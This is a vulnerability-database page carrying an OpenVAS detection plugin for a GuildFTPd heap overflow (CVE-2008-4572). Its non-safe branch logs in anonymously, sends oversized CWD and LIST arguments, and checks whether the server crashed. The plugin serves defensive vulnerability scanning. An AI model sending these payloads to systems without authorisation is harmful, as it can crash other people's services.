Lucene search
+L

GuildFTPd CWD and LIST Command Heap Overflow Vulnerability

🗓️ 21 Oct 2008 00:00:00Reported by Copyright (C) 2008 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 80 Views

GuildFTPd CWD and LIST Command Heap Overflow Vulnerabilit

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2008-4572
15 Oct 200820:00
attackerkb
circl
Circl
CVE-2008-4572
12 Oct 200800:00
circl
cve
CVE
CVE-2008-4572
15 Oct 200818:12
cve
cvelist
Cvelist
CVE-2008-4572
15 Oct 200818:12
cvelist
exploitdb
Exploit DB
GuildFTPd 0.999.8.11/0.999.14 - Heap Corruption (PoC) / Denial of Service
12 Oct 200800:00
exploitdb
metasploit
Metasploit
Guild FTPd 0.999.8.11/0.999.14 Heap Corruption
9 Jan 200905:33
metasploit
nvd
NVD
CVE-2008-4572
15 Oct 200820:00
nvd
openvas
OpenVAS
GuildFTPd CWD and LIST Command Heap Overflow Vulnerability
21 Oct 200800:00
openvas
packetstorm
Packet Storm
Guild FTPd 0.999.8.11/0.999.14 Heap Corruption
31 Aug 202400:00
packetstorm
prion
Prion
Heap overflow
15 Oct 200820:00
prion
# SPDX-FileCopyrightText: 2008 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.800114");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2008-10-21 16:25:40 +0200 (Tue, 21 Oct 2008)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_cve_id("CVE-2008-4572");
  script_name("GuildFTPd CWD and LIST Command Heap Overflow Vulnerability");
  script_xref(name:"URL", value:"http://milw0rm.com/exploits/6738");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/31729");
  script_xref(name:"URL", value:"http://secunia.com/advisories/32218/");
  script_xref(name:"URL", value:"http://www.frsirt.com/english/advisories/2008/2794");

  script_category(ACT_MIXED_ATTACK);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2008 Greenbone AG");
  script_family("Denial of Service");
  script_dependencies("ftpserver_detect_type_nd_version.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/guildftpd/detected");

  script_tag(name:"impact", value:"Successful exploitation allows attackers to execute arbitrary code through
  specially crafted CWD and LIST command, which can also crash the affected application.");

  script_tag(name:"affected", value:"GuildFTPd Version 0.999.14 and prior on Windows (Any).");

  script_tag(name:"insight", value:"The flaw exists due to boundary error while processing malformed arguments
  passed to a CWD and LIST commands.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"GuildFTPd FTP Server is prone to a heap overflow vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");
include("version_func.inc");

port = ftp_get_port(default:21);
banner = ftp_get_banner(port:port);
if(!banner || "GuildFTPd" >!< banner)
  exit(0);

if(safe_checks()) {
  guildVer = eregmatch(pattern:"Version ([0-9.]+)", string:banner);
  if(guildVer) {
    if(version_is_less_equal(version:guildVer[1], test_version:"0.999.14")){
      security_message(port);
    }
  }
  exit(0);
}

soc = open_sock_tcp(port);
if(!soc)
  exit(0);

banner = recv(socket:soc, length:1024);
if("GuildFTPd" >!< banner) {
  close(soc);
  exit(0);
}

if(ftp_authenticate(socket:soc, user:"anonymous", pass:"anonymous")) {
  send(socket:soc, data:string("cwd ", crap(data:"/.", length:200), "\n"));
  recv(socket:soc, length:1024);

  send(socket:soc, data:string("list ", crap(data:"X", length:100), "\r\n"));
  recv(socket:soc, length:1024);

  sleep(10);
  close(soc);

  soc = open_sock_tcp(port);

  if(!recv(socket:soc, length:1024)) {
    security_message(data:string("GuildFTPd Server service has been crashed on the" +
                                 "system.\nRestart the service to resume normal operations."),
                port:port);
  }
  close(soc);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2023 00:00Current
6.9Medium risk
Vulners AI Score6.9
CVSS 210
EPSS0.60692
80